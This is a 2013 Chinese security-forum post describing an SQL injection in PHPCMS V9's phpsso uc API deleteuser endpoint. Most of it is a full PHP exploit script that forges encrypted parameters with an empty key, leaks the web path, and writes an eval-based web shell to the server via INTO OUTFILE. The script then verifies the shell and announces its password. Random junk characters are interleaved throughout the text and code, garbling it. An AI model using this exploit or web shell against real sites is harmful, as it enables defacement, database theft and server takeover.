中国网络渗透测试联盟

标题: PHPCMS V9 uc API SQL注入漏洞 [打印本页]

作者: admin    时间: 2013-2-9 01:22
标题: PHPCMS V9 uc API SQL注入漏洞
PHPCMS V9版于2010年推出,是应用较为广泛的建站工具。第三方数据显示,目前使用PHPCMS V9搭建的网站数量多达数十万个,包括联合国儿童基金会等机构网站,以及大批企业网站均使用PHPCMS V9搭建和维护。
! }* R+ I# |  Q2 N3 n% w6 V% C/ y  u% w) H& R0 f8 ^
所有使用PHPCMSV9搭建的网站均存在SQL注入漏洞,可能使黑客利用漏洞篡改网页、窃取数据库,甚至控制服务器。未启用ucenter服务的情况下,uc_key为空,define('UC_KEY', pc_base::load_config('system', 'uc_key'));deleteuser接口存在SQL注入漏洞。若MYSQL具有权限,可直接get webshell。
, Y& [0 x  g0 `# z$ M; G* l+ @5 M1 M0 I9 w) g. I
漏洞分析:7 b! _" n( r: [4 R
1.未启用ucenter服务的情况下uc_key为空6 K- e" z  e4 }# b2 B
define('UC_KEY', pc_base::load_config('system', 'uc_key'));
, K5 \0 Q# @" G. H2. deleteuser接口存在SQL注入漏洞,UC算法加密的参数无惧GPC,程序员未意识到$get['ids']会存在SQL注入情况。
9 a/ t# _$ K* Y1 B    public function deleteuser($get,$post) {) r% G  W0 A' ^3 ^6 u7 c; E" P
        pc_base::load_app_func('global', 'admin');
9 G, ~) X4 l, d! G# @9 S# I0 B        pc_base::load_app_class('messagequeue', 'admin' , 0);
0 Q' w% j" E7 A& w! N" c        $ids = new_stripslashes($get['ids']);
- r) X5 b9 X' o2 {7 A+ o        $s = $this->member_db->select("ucuserid in ($ids)", "uid");/ j; g6 W: f+ U+ t8 s6 y
SQL语句为
& n) C# i- ^3 F1 ^4 C/ O1 y  hSELECT `uid` FROM `phpcmsv9`.`v9_sso_members` WHERE ucuserid in ($ids)6 J4 V" u) N$ d5 x: F, j, X
6 i  V- N" c3 M7 u  R0 \2 W5 t
利用代码,随便拼了个EXP,找路径正则写得很挫有BUG,没有注其他表了,懒得改了,MYSQL有权限的话直接get webshell! W- C. A9 K9 G, ?
<?php
5 |# h- j& F9 |# u8 }; vprint_r('
7 p  c  ]& T! P0 E9 {! h---------------------------------------------------------------------------2 D  L. s2 L( Z
PHPcms (v9 or Old Version) uc api sql injection 0day
; M: W3 ~9 Y9 X( E* [% z1 a" U2 Cby rayh4c#80sec.com
0 B6 ~/ m: I) f0 k8 d' d5 `---------------------------------------------------------------------------
: }2 O8 {$ N2 G5 p');) e9 \1 Q$ Q$ k2 m

; ]3 H2 g  j: S" P" L/ x( }2 sif ($argc<3) {
4 O7 S- n2 I4 l( S, t" F    print_r('! @3 |  f- L3 P2 L# M  a0 c
---------------------------------------------------------------------------6 C; ]! M% E. t$ @+ h" x  B
Usage: php '.$argv[0].' host path OPTIONS
! d& ~4 E+ b" B! H% \9 ohost:      target server (ip/hostname)
# s# L7 X- n! \! c+ B6 d. x' Bpath:      path to phpcms& g) Z- }# Q& A7 t% u3 k+ N- s' O
Options:" i! Q' y/ L: `* ?, ]& g$ ~# V1 T: i$ U: I9 ]
-p[port]:    specify a port other than 80; m: n( U& X) |! E. C* L
-P[ip:port]: specify a proxy2 L8 h5 I  M4 F% I
Example:* A. h$ y% [( R" e+ M# j
php '.$argv[0].' localhost /
! V6 h. R2 d5 n% D, x, p( tphp '.$argv[0].' localhost /phpcms/ -p81$ H- h1 o2 r- B
php '.$argv[0].' localhost /phpcms/ -P1.1.1.1:803 x+ i& a( w0 Y" K1 X; p) x. m$ b# g# l
---------------------------------------------------------------------------
- V5 f" z  k0 i. T');( x$ y. A$ ~8 X6 w. S* r2 W
    die;
+ o" v2 M9 d7 g8 o6 u; F; K}( m% d% H0 U4 V6 Q" q, w

3 D2 B! M8 C% R4 x- g0 l3 _" verror_reporting(7);0 ^/ u0 @& T# K+ d8 o' E
ini_set("max_execution_time",0);
$ @  E( }1 j+ C+ m1 ^- ]; rini_set("default_socket_timeout",5);- y  `4 e, {* }

0 [; G9 |  V" [. y+ r9 c- P4 ifunction quick_dump($string)
; q$ y- ]( W  J9 y; Q{
6 H; v8 N8 Q+ J- M0 _) ~" F  $result='';$exa='';$cont=0;
( F# |; f( ^0 N4 @6 ?) a  for ($i=0; $i<=strlen($string)-1; $i++). G5 S- d0 ~* Y
  {
: L& }5 T* x* g6 t1 T   if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))$ H3 R! N% ?2 Y/ `" B3 h) _$ h
   {$result.="  .";}
0 b( m$ K3 {' f/ K# H. D1 k   else4 C% k* f* {2 P5 r  o
   {$result.="  ".$string[$i];}; X6 `* y  b. Z
   if (strlen(dechex(ord($string[$i])))==2)7 f/ I$ l3 _/ u8 n+ {8 X- g
   {$exa.=" ".dechex(ord($string[$i]));}
- {6 E4 S, y5 T. _  i9 P1 ?4 D   else! h) g" J) h6 _. R* Q  w: L3 p
   {$exa.=" 0".dechex(ord($string[$i]));}
; C6 K5 ]" j9 S; M; x$ D2 O   $cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";}' C9 q3 d% P" h% M* S
  }
! o0 u( K; q9 P  R& Y return $exa."\r\n".$result;
5 E. |) }+ S, ^% Y! L# x- ?}% m6 d( C2 L1 s+ H4 h
$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';
# g: e  ^! W3 A' K' I5 L6 K6 y+ F3 v1 X
function send($packet)* k* g, W( y. K
{
. B4 V/ r- T/ o4 }  global $proxy, $host, $port, $html, $proxy_regex;/ p) `% V  o' ^! C
  if ($proxy=='') {
7 }. v2 p' @9 h! E    $ock=fsockopen(gethostbyname($host),$port);, @( A# a2 B# }' y: D- o+ J# F; |7 g
    if (!$ock) {
' W1 [( i- s! B( r) k3 p( G      echo 'No response from '.$host.':'.$port; die;
! R& ^3 a6 r8 \& Q9 B    }
, F: N) q  T% o( k  }" B9 Y& H6 P+ H! ~/ S- e
  else {
5 q: F, _' u) P. l3 F1 u, C5 `        $c = preg_match($proxy_regex,$proxy);0 r3 i+ s& p9 p1 ]: R; j
    if (!$c) {* B& A( A; ?. q& t
      echo 'Not a valid proxy...';die;
1 U& C; t0 M4 n    }4 G( ^$ P3 S3 y7 B$ q+ Y$ a' N* x" _( z
    $parts=explode(':',$proxy);, |9 p2 l  \! }. b) F
    $parts[1]=(int)$parts[1];; P8 M  Z, r1 u+ L2 A  R% \
    echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";
& ^7 p" S3 d/ q, a9 t( W, l; C) w    $ock=fsockopen($parts[0],$parts[1]);& B. ^7 p2 B* `6 `8 Y
    if (!$ock) {7 O/ ?; e# }9 T1 P
      echo 'No response from proxy...';die;/ f0 f& H/ h( h' K( T
        }
) H% [1 s: k* E2 G; z9 D7 f  }" T9 w- e: c) d9 b) k
  fputs($ock,$packet);# x# r- c! c- w2 O# h
  if ($proxy=='') {' g: @/ B: |# V9 v
    $html='';- I+ H2 n/ ~& `& J" ]
    while (!feof($ock)) {
4 j& v9 a( M6 |' p      $html.=fgets($ock);7 ~- }9 j8 O, Q$ F( m8 U- h
    }
( z) T4 }, ?% q4 q2 |: h  }, J/ H$ _  K$ h6 `- s" _
  else {
& |+ k5 z. L/ T    $html='';% _) p+ ~+ m, K) J
    while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {/ ]: l* |2 `5 y8 B4 F
      $html.=fread($ock,1);% X$ m5 X7 @1 i0 W" n( h, F+ G
    }% f% [; X* |2 b: m* c. [
  }# F/ B5 a; h5 ^8 n
  fclose($ock);
% W8 o2 l9 _" r: i% Z, |( \}* m) v6 C' g9 `

: I: O. T& i+ V$ K( G8 Y$host=$argv[1];
% [1 ]8 X9 K# J5 f9 u7 I$path=$argv[2];3 z" ?: T# O* H% k
$port=80;
- {$ W2 {/ ?  H0 I  }$proxy="";
5 Z4 I+ \2 m8 P' l2 L$ Xfor ($i=3; $i<$argc; $i++){
; N2 E% a% t( s$ N8 I$temp=$argv[$i][0].$argv[$i][1];/ R, i2 n7 @2 P0 `: ^# k
if ($temp=="-p")7 X, u/ {2 {7 O$ H- F
{3 d3 I" H& _( O7 {9 u( h
  $port=(int)str_replace("-p","",$argv[$i]);: M4 d+ P1 i: L2 O# M) @- z
}1 ~* K3 O7 A6 O0 M$ j$ E+ V
if ($temp=="-P")1 [7 l5 M" v/ p3 d& V; h3 X% \
{& P- x, \7 x% e; t+ r+ G
  $proxy=str_replace("-P","",$argv[$i]);* C  ~0 M* U3 ^. k
}
. E! @8 K( a! I# |5 k- u}' w. n5 N$ d* M+ X% e5 u/ b
7 ~( U/ u1 g/ m* s
if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}
/ s: }9 N3 ]; X) \7 Gif ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}
$ [) d& ^0 u+ A' V; A/ A& L8 m' n2 t) k3 @0 q: ~
function authcode($string, $operation = 'DECODE', $key = '', $expiry = 0) {
+ r/ u% i# j' f; q
) j* [' y+ y8 g8 G1 K    $ckey_length = 4;
& c4 h$ n+ _6 {6 _& m0 F, A; g5 i1 Q: }) d  C0 H
    $key = md5($key ? $key : '');
( a% Z5 O$ z# e% K    $keya = md5(substr($key, 0, 16));
: u* D2 J2 H# v* k9 S    $keyb = md5(substr($key, 16, 16));+ H. }( t0 p7 C. ?  S6 n
    $keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';* Z* c! V) z( Y" U8 ?, }- ]
' G0 C; {& H( z! a
    $cryptkey = $keya.md5($keya.$keyc);" |$ T' ?% I; |3 Z* z/ l! ~6 n7 P
    $key_length = strlen($cryptkey);
& Q' L; u, b9 h! `4 H  {5 a1 c1 H1 B9 L3 q/ v* _  t; [
    $string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;
% p( j) o% q8 k7 q. r    $string_length = strlen($string);9 r! H9 p9 B! M

+ B# x" ]& Z1 F, M$ W! J    $result = '';
% q  D! ]& Z0 b& K  }% `    $box = range(0, 255);9 y+ }4 N. i6 V- A: V) C

+ z3 N6 K3 M- l* m1 Z8 {    $rndkey = array();
% x3 s* O' v9 x    for($i = 0; $i <= 255; $i++) {
; J, `) ?; p5 d) K/ D" `8 k        $rndkey[$i] = ord($cryptkey[$i % $key_length]);0 P( o9 M2 @% v7 l
    }/ N- X; j% I8 N: p/ P2 ^4 T" m  U
, B9 ^) M4 ]# Q- {
    for($j = $i = 0; $i < 256; $i++) {/ h) J( R+ }$ {) u, }# {) \
        $j = ($j + $box[$i] + $rndkey[$i]) % 256;; s6 K" S/ A+ W7 s$ Z- D
        $tmp = $box[$i];/ O- \8 _) x) W* w
        $box[$i] = $box[$j];
; J  a. j; {6 Y6 r& n+ ~        $box[$j] = $tmp;
6 y% @  }% O( B9 W+ n3 s    }
/ z! t" U! d  E1 f; R& \" w
3 J& j1 c" ?; G' C5 i    for($a = $j = $i = 0; $i < $string_length; $i++) {+ i* j* `9 [1 u; @/ }8 n- Q5 {% T) R
        $a = ($a + 1) % 256;
/ l# c9 i9 \# d# W4 j& f/ R6 r( N8 r        $j = ($j + $box[$a]) % 256;
+ |" b* W8 c2 A# y6 Z5 v/ v7 I        $tmp = $box[$a];( G# Q/ `7 o, A
        $box[$a] = $box[$j];/ z" y- \2 I( z
        $box[$j] = $tmp;* @- {" n6 \: z8 y5 D9 G
        $result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));
* `& L- V9 v* T2 [& l7 Y    }0 B& v0 Y% V4 x9 i
7 v' z0 b, ^& Z5 {; Y( O$ u
    if($operation == 'DECODE') {! o# I6 v5 Y& l- w/ I- Z' {
        if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {
) S/ V- b4 _+ C3 k            return substr($result, 26);
: C9 @( |7 R+ Q# B# R+ ~        } else {, m6 }3 T& C; x& ^* J
            return '';
, N8 p: n  ?3 v; K        }  o: l" S4 J9 \/ C3 ^3 t
    } else {* U. P# Q) j% `: t7 ?7 o% ~( J( u
        return $keyc.str_replace('=', '', base64_encode($result));
; w- v% C& @2 o* `5 v' @7 m8 Z2 ?    }! @4 s! b7 q  m

" P$ c% ^7 u1 w: K9 U) v5 @4 d# U}
  G3 B5 R' Y; Q7 a0 {2 ?- \) D& V
4 e; k4 p- B/ D4 E$SQL = "time=999999999999999999999999&ids=1'&action=deleteuser";
( l( W. H- N6 `3 y% U6 a$ J6 R$SQL = urlencode(authcode($SQL, "ENCODE", ""));
2 B* I/ V& t9 ^+ _$ l4 Zecho "[1] 访问 http://".$host.$p."phpsso_server/api/uc.php?code=".$SQL."\n";1 w+ A& l% T: b4 b2 b5 ~" P
$packet ="GET ".$p."phpsso_server/api/uc.php?code=".$SQL." HTTP/1.0\r\n";6 k" _7 g- Z, Y$ s7 [
$packet.="User-Agent: Mozilla/5.0\r\n";
) S) x% d: t6 v& \+ X/ P8 x$packet.="Host: ".$host."\r\n";
9 U! Q- S3 y7 ]( i$packet.="Connection: Close\r\n\r\n";
5 y5 R5 `4 r5 d( ssend($packet);- s6 p9 {4 p4 r! b
if(strpos($html,"MySQL Errno") > 0){
- ?: k4 W' V. _5 D. k, o7 R- o- b) f0 {echo "[2] 发现存在SQL注入漏洞"."\n";
& Q# p( G5 q" |! P" j5 h9 b9 qecho "[3] 访问 http://".$host.$p."phpsso_server/api/logout.php \n";
& H) q( ]3 Z& K$packet ="GET ".$p."phpsso_server/api/logout.php"." HTTP/1.0\r\n";
  p  k' j) i7 d6 t7 P$packet.="User-Agent: Mozilla/5.0\r\n";8 r2 g' N9 l* x5 ]4 B6 b# J
$packet.="Host: ".$host."\r\n";9 P" ?5 A  V. z3 ?2 I! r) N/ ?7 ?
$packet.="Connection: Close\r\n\r\n";
! b' O3 z, }# H7 H0 R5 c/ w) \send($packet);
4 J4 V( G1 n, hpreg_match('/[A-Za-z]?[:]?[\/\x5c][^<^>]+[\/\x5c]phpsso_server[\/\x5c]/',$html, $matches);1 {/ ^5 B; I$ K4 ]7 _& p
//print_r($matches);2 I2 }5 [' K3 l  L  e% H
if(!empty($matches)){7 s% A0 S( T' X" ]1 d+ ^7 D
echo "[4] 得到web路径 " . $matches[0]."\n";
% A1 ^/ G, f+ i: V, d& Jecho "[5] 尝试写入文件 ". str_replace("\\","/",$matches[0]) ."caches/shell.php"."\n";& e' C) P2 A0 r9 Z) V5 W* N% z
$SQL = "time=999999999999999999999999&ids=1)";
- \1 m8 ~9 |: g+ J$SQL.=" and 1=2 union select '<?php eval($"."_REQUEST[a]);?>' into outfile '". str_replace("\\","/",$matches[0]) ."caches/shell.php'#";
& V2 ~( M) _, X# W; S  L$SQL.="&action=deleteuser";% Z/ w$ N% x& j+ e' u
$SQL = urlencode(authcode($SQL, "ENCODE", ""));
' t  g* L& m/ i8 l; h: v/ _6 B1 Pecho "[6] 访问 http://".$host.$p."phpsso_server/api/uc.php?code=".$SQL."\n";( [3 X9 n+ t8 M7 u, j
$packet ="GET ".$p."phpsso_server/api/uc.php?code=".$SQL." HTTP/1.0\r\n";
& H( w1 W) v, o/ ^$packet.="User-Agent: Mozilla/5.0\r\n";
) m: d% m9 @7 [# N. s+ \! g; M! u$packet.="Host: ".$host."\r\n";
+ F7 i/ L. k6 B$packet.="Connection: Close\r\n\r\n";$ Z! L& G2 r) i' }
send($packet);
( W- c! }+ X0 nif(strpos($html,"Access denied") > 0){" u  l. v! B7 Y4 `- b4 L: P8 e
echo "[-] MYSQL权限过低 禁止写入文件 ";* H; k: ~7 p6 L$ Z0 X. E: A
die;
: m# u, @0 }' o+ d0 K}# k! ]- F, z: I9 G: ~; Y9 j
echo "[6] 访问 http://".$host.$p."phpsso_server/caches/shell.php"."\n";
" z: P& f% e7 c. m3 @5 D$packet ="GET ".$p."phpsso_server/caches/shell.php?a=phpinfo(); HTTP/1.0\r\n";/ d4 _0 C4 G. v8 B- n
$packet.="User-Agent: Mozilla/5.0\r\n";
1 Q8 ~8 N. E0 W+ x6 {2 ]7 T8 G. y$packet.="Host: ".$host."\r\n";/ K6 Y) u) C6 ~. N3 o; t2 T
$packet.="Connection: Close\r\n\r\n";2 F" v  k3 S' v) u
send($packet);# M0 t9 _" O" R  `. \" h: E) @) K# Y+ K
if(strpos($html,"<title>phpinfo()</title>") > 0){! I4 P0 F4 X$ A2 D
echo "[7] 测试phpinfo成功!shell密码是a ! enjoy it ";
- D2 l/ h% C( R0 \3 e! _% T}
0 B1 k* V9 z1 ^" `; ^8 a}else{' j" e$ |4 i- M0 ?, _% L( R9 ?
echo "[-]未取到web路径 ";: A& y# J! E% c6 _% @6 c
}1 d( e7 ^5 |% g/ l
}else{
, }0 F. G# e! g3 _( m; g' R; x& pecho "[*]不存在SQL注入漏洞"."\n";% F6 J- I! n2 L6 s4 F
}) j5 t6 S! C! }3 K
7 C4 m: b; P! z  Y. N8 Q6 z% L
?>
. A2 d  H4 W" V0 q: j9 s  J. m: V3 N




欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/) Powered by Discuz! X3.2